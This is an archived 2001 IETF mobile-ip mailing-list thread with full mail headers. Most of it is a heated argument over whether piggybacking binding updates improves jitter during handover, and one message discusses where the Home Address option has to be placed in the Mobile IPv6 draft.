	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:37:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKIbgAm002025
	for mobile-ip-dist; Tue, 20 Nov 2001 10:37:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIbdLS002018
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:37:39 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA20749
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:37:41 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA10751
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:37:23 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA12930
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:37:39 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAKIbcT16978
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:37:38 -0800
X-mProtect:  Tue, 20 Nov 2001 10:37:38 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdSu3XSa; Tue, 20 Nov 2001 10:37:36 PST
Message-ID: <3BFAA2F1.CCCE4138@iprg.nokia.com>
Date: Tue, 20 Nov 2001 10:37:37 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] more about piggybacking.
References: <200111191328.IAA26718@ietf.org>
		<3BF99D9F.EB48AB63@iprg.nokia.com> <15354.37210.434322.41657@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mike,

please read the document before you comment the teaser.
Your mom  never told you not to judge a movie by its trailer?

Cedric.

Michael Thomas wrote:

> Cedric Westphal writes:
>  > Hi,
>  >
>  > there was an intense debate a couple weeks ago over the merits of
>  > piggybacking. So we put together a little bit of analysis to bring the
>  > discussion on less intuitive and more mathematical grounds.
>  >
>  > The outcome of it is dual:
>  > - The percentage improvement in bandwidth utilization is typically
>  >    small.
>  > - The percentage improvement in jitter during handover is typically
>  >    large - actually, very large.
>
>    The problem here is that for things that are
>    jitter sensitive, binding updates piggybacked
>    or not are going to be inadequate in all but
>    the most contrived laboratory settings. Speed
>    of light, etc, mean that you need FMIP for fast
>    convergence of the move, thus taking the long
>    haul binding update out of the critical path.

That's not the point of the debate we had. I thought you participated...

>
>
>  > This basically says that piggybacking will not allow a provider to squeeze
>  > more people on the same link, but that by not having piggybacking, the
>  > user gets a significantly worst QoS.
>
>    This presupposes that:
>
>    1) jitter is important across the board
>    2) that piggybacking is the only impediment
>       to getting jitter sensitive traffic
>       delivered within the proper bounds.
>
>    Neither of these are true.

1) Right, jitter is not important in a VoIP call. Have you heard of real time
applications? Duh.
2) Says who? YOU ONLY decided to add ONLY in presupposition 2). Of course,
pb is not the ONLY impediment. Piggybacking is not the solution to ALL problems.
Now, if you use piggybacking, you ALWAYS get an improvement for jitter sensitive
traffic. Because other factors in the network will add jitter as well, does this
mean that
you should not use piggybacking. It's like saying: don't wear a seatbelt, as it
is _not_ the _only_ implement
(oh my god, where did you fish 'impediment': piggyback does not obstruct timely
delivery
of jitter sensitive traffic, au contraire, mon frere) preventing death is car
crashes.

Neither of your point makes any sense.

Cedric.

>
>
>            Mike



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:47:11 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28002
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 13:47:11 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA20343;
	Tue, 20 Nov 2001 11:44:36 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23152;
	Tue, 20 Nov 2001 10:44:42 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIhwLS002276
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:43:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKIhvqv002275
	for mobile-ip-dist; Tue, 20 Nov 2001 10:43:57 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIhsLS002265
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:43:54 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21645
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:43:54 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA18986
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:43:36 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA13260
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:43:51 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAKIho224146
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:43:50 -0800
X-mProtect:  Tue, 20 Nov 2001 10:43:50 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdsyXnzb; Tue, 20 Nov 2001 10:43:49 PST
Message-ID: <3BFAA465.D244FFF8@iprg.nokia.com>
Date: Tue, 20 Nov 2001 10:43:49 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] more about piggybacking.
References: <200111191328.IAA26718@ietf.org>
			<3BF99D9F.EB48AB63@iprg.nokia.com> <15354.37210.434322.41657@thomasm-u1.cisco.com> <3BFAA2F1.CCCE4138@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Just to point that even though I signed off early, there were comments inline.

Cedric.

Cedric Westphal wrote:

> Mike,
>
> please read the document before you comment the teaser.
> Your mom  never told you not to judge a movie by its trailer?
>
> Cedric.
>
> Michael Thomas wrote:
>
> > Cedric Westphal writes:
> >  > Hi,
> >  >
> >  > there was an intense debate a couple weeks ago over the merits of
> >  > piggybacking. So we put together a little bit of analysis to bring the
> >  > discussion on less intuitive and more mathematical grounds.
> >  >
> >  > The outcome of it is dual:
> >  > - The percentage improvement in bandwidth utilization is typically
> >  >    small.
> >  > - The percentage improvement in jitter during handover is typically
> >  >    large - actually, very large.
> >
> >    The problem here is that for things that are
> >    jitter sensitive, binding updates piggybacked
> >    or not are going to be inadequate in all but
> >    the most contrived laboratory settings. Speed
> >    of light, etc, mean that you need FMIP for fast
> >    convergence of the move, thus taking the long
> >    haul binding update out of the critical path.
>
> That's not the point of the debate we had. I thought you participated...
>
> >
> >
> >  > This basically says that piggybacking will not allow a provider to squeeze
> >  > more people on the same link, but that by not having piggybacking, the
> >  > user gets a significantly worst QoS.
> >
> >    This presupposes that:
> >
> >    1) jitter is important across the board
> >    2) that piggybacking is the only impediment
> >       to getting jitter sensitive traffic
> >       delivered within the proper bounds.
> >
> >    Neither of these are true.
>
> 1) Right, jitter is not important in a VoIP call. Have you heard of real time
> applications? Duh.
> 2) Says who? YOU ONLY decided to add ONLY in presupposition 2). Of course,
> pb is not the ONLY impediment. Piggybacking is not the solution to ALL problems.
> Now, if you use piggybacking, you ALWAYS get an improvement for jitter sensitive
> traffic. Because other factors in the network will add jitter as well, does this
> mean that
> you should not use piggybacking. It's like saying: don't wear a seatbelt, as it
> is _not_ the _only_ implement
> (oh my god, where did you fish 'impediment': piggyback does not obstruct timely
> delivery
> of jitter sensitive traffic, au contraire, mon frere) preventing death is car
> crashes.
>
> Neither of your point makes any sense.
>
> Cedric.
>
> >
> >
> >            Mike



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:49:34 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28159
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 13:49:34 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA19053;
	Tue, 20 Nov 2001 10:48:10 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA24386;
	Tue, 20 Nov 2001 10:47:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIl0LS002453
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:47:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKIl0AB002452
	for mobile-ip-dist; Tue, 20 Nov 2001 10:47:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIkuLS002439
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:46:56 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA24062
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:46:56 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA01481
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:47:10 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fAKIkgH13862
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:46:43 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ26060;
	Tue, 20 Nov 2001 10:45:59 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA22480; Tue, 20 Nov 2001 10:46:33 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15354.42249.312203.904118@thomasm-u1.cisco.com>
Date: Tue, 20 Nov 2001 10:46:33 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] more about piggybacking.
In-Reply-To: <3BFAA2F1.CCCE4138@iprg.nokia.com>
References: <200111191328.IAA26718@ietf.org>
	<3BF99D9F.EB48AB63@iprg.nokia.com>
	<15354.37210.434322.41657@thomasm-u1.cisco.com>
	<3BFAA2F1.CCCE4138@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Cedric Westphal writes:
 > Mike,
 > 
 > please read the document before you comment the teaser.
 > Your mom  never told you not to judge a movie by its trailer?

   I would appreciate if you'd keep this on a
   professional level. This post was nothing more
   than seething dismissal which does not lend to
   communication. If this is a win at all costs
   contest, there's really no point to this 
   discussion.

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:52:46 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28385
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 13:52:46 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA20662;
	Tue, 20 Nov 2001 10:50:39 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA24894;
	Tue, 20 Nov 2001 10:49:35 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKImZLS002522
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:48:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKImZsV002521
	for mobile-ip-dist; Tue, 20 Nov 2001 10:48:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKImVLS002511
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:48:31 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA13197
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:47:57 -0800 (PST)
Received: from ztxmail04.ztx.compaq.com (ztxmail04.ztx.compaq.com [161.114.1.208])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA28870
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:48:17 -0800 (PST)
Received: by ztxmail04.ztx.compaq.com (Postfix, from userid 12345)
	id 8247C1425; Tue, 20 Nov 2001 12:48:16 -0600 (CST)
Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103])
	by ztxmail04.ztx.compaq.com (Postfix) with ESMTP id 4B8821718
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:48:16 -0600 (CST)
Received: by taynzmail03.nz-tay.cpqcorp.net (Postfix, from userid 12345)
	id 03A0E709; Tue, 20 Nov 2001 13:48:15 -0500 (EST)
Received: from yquarry.zk3.dec.com (bryquarry.zk3.dec.com [16.141.40.15])
	by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id E87EA66F
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 13:48:15 -0500 (EST)
Received: from dogbert.zk3.dec.com by yquarry.zk3.dec.com (8.8.8/1.1.22.3/11Mar00-0650AM)
	id NAA0000022288; Tue, 20 Nov 2001 13:48:15 -0500 (EST)
From: Brian Haley USG <haley@zk3.dec.com>
Received: from localhost by dogbert.zk3.dec.com (5.65v4.0/1.1.19.2/27Mar98-0945AM)
	id AA27254; Tue, 20 Nov 2001 13:48:15 -0500
Message-Id: <200111201848.AA27254@dogbert.zk3.dec.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Mobile IPv6 draft 15 
Date: Tue, 20 Nov 2001 13:48:15 -0500
X-Mts: smtp
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Charlie Perkins wrote:
> Hello folks,
> 
> A new revision of Mobile IPv6 has been prepared.  It is currently
> available at the following URL:
>     http://people.nokia.net/~charliep/txt/mobilev6/mobilev6.txt

Hi Charlie,

I believe there is a clarification that needs to be made in
Home Address option processing.  This week at ETSI there was a
test case where this option sequence was sent:

  IPv6 header
  Destination Options header
    Binding Update option
    Home Address option

Of course it was dropped since during Binding Update processing we
noticed we didn't have a Home Address (ala Section 8.2)...

I believe this ordering is invalid according to Section 4.2 of RFC 2460:

  The sequence of options within a header must be processed strictly in
  the order they appear in the header; a receiver must not, for
  example, scan through the header looking for a particular kind of
  option and process that option prior to processing all preceding
  ones.

(thanks to Ken Powell for pointing this out to me)

But the Mobile IPv6 draft does not say the Home Address option must
be "in front" of a Binding Update option.  I believe that Section 5.4,
and maybe 10.1 and 10.2, need to clarify the ordering requirements of
the Home Address Option:

[5.4]
 The Home Address option MUST be placed as follows:

  - After the Routing Header, if that header is present
  - Before the Fragment Header, if that header is present
  - Before the AH or ESP Header, if either one of those
    headers is present
  - Before any headers or options that require Home Address
    option information, such as a Binding Update option

While one might think I just don't want to do more work since there is
one implementation that handles this case, I can't believe the Home
Address option was intended to be used in this way.

Thanks,

-Brian



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:59:33 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28772
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 13:59:33 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA24800;
	Tue, 20 Nov 2001 10:58:15 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA27393;
	Tue, 20 Nov 2001 10:57:54 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIvALS002884
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:57:10 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKIvA7W002883
	for mobile-ip-dist; Tue, 20 Nov 2001 10:57:10 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIv6LS002870
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:57:06 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA16275
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:56:45 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA02994
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:56:48 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA14221
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:57:04 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAKIv4k15824
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:57:04 -0800
X-mProtect:  Tue, 20 Nov 2001 10:57:04 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdKwQVSH; Tue, 20 Nov 2001 10:57:02 PST
Message-ID: <3BFAA77E.EDA93C69@iprg.nokia.com>
Date: Tue, 20 Nov 2001 10:57:02 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] more about piggybacking.
References: <200111191328.IAA26718@ietf.org>
		<3BF99D9F.EB48AB63@iprg.nokia.com>
		<15354.37210.434322.41657@thomasm-u1.cisco.com>
		<3BFAA2F1.CCCE4138@iprg.nokia.com> <15354.42249.312203.904118@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mike,

I assume you did not read through the response. There
were technical and professional responses to your..what is
the professional word?... claims. However, for the sake of a
professional discussion,
I would appreciate if you would comment on the work of
others after reading it, and not just a few introductory sentences.

I don't know why you are talking about 'win at all costs': you are
making this into a battle, or into something personal. The all point
of the document is to bring some much needed objective analysis into
this.
There are no 'winners' and 'losers' in IETF, Mike, we are just trying
together to come up with the best protocols.

Hopefully, you can contribute in a positive way as well.
Thanks,

Cedric.


Michael Thomas wrote:

> Cedric Westphal writes:
>  > Mike,
>  >
>  > please read the document before you comment the teaser.
>  > Your mom  never told you not to judge a movie by its trailer?
>
>    I would appreciate if you'd keep this on a
>    professional level. This post was nothing more
>    than seething dismissal which does not lend to
>    communication. If this is a win at all costs
>    contest, there's really no point to this
>    discussion.
>
>                 Mike



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 14:08:04 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA29415
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 14:08:03 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA12112;
	Tue, 20 Nov 2001 12:06:31 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA00151;
	Tue, 20 Nov 2001 11:06:39 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKJ5gLS003019
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:05:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKJ5fIZ003018
	for mobile-ip-dist; Tue, 20 Nov 2001 11:05:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKJ5cLS003011
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:05:38 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA17997
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:05:38 -0800 (PST)
Received: from mgw-dax1.ext.nokia.com (mgw-dax1.ext.nokia.com [63.78.179.216])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA17820
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:05:35 -0700 (MST)
Received: from davir01nok.americas.nokia.com (davir01nok.americas.nokia.com [172.18.242.84])
	by mgw-dax1.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fAKJ5GQ13466
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 13:05:17 -0600 (CST)
Received: from daebh002.NOE.Nokia.com (unverified) by davir01nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T575644ea54ac12f2540ff@davir01nok.americas.nokia.com> for <mobile-ip@sunroof.eng.sun.com>;
 Tue, 20 Nov 2001 13:05:11 -0600
Received: from daebe007.NOE.Nokia.com ([172.18.242.211]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 20 Nov 2001 13:05:11 -0600
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] more about piggybacking.
Date: Tue, 20 Nov 2001 13:05:11 -0600
Message-ID: <697DAA22C5004B4596E033803A7CEF44096883@daebe007.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: [mobile-ip] more about piggybacking.
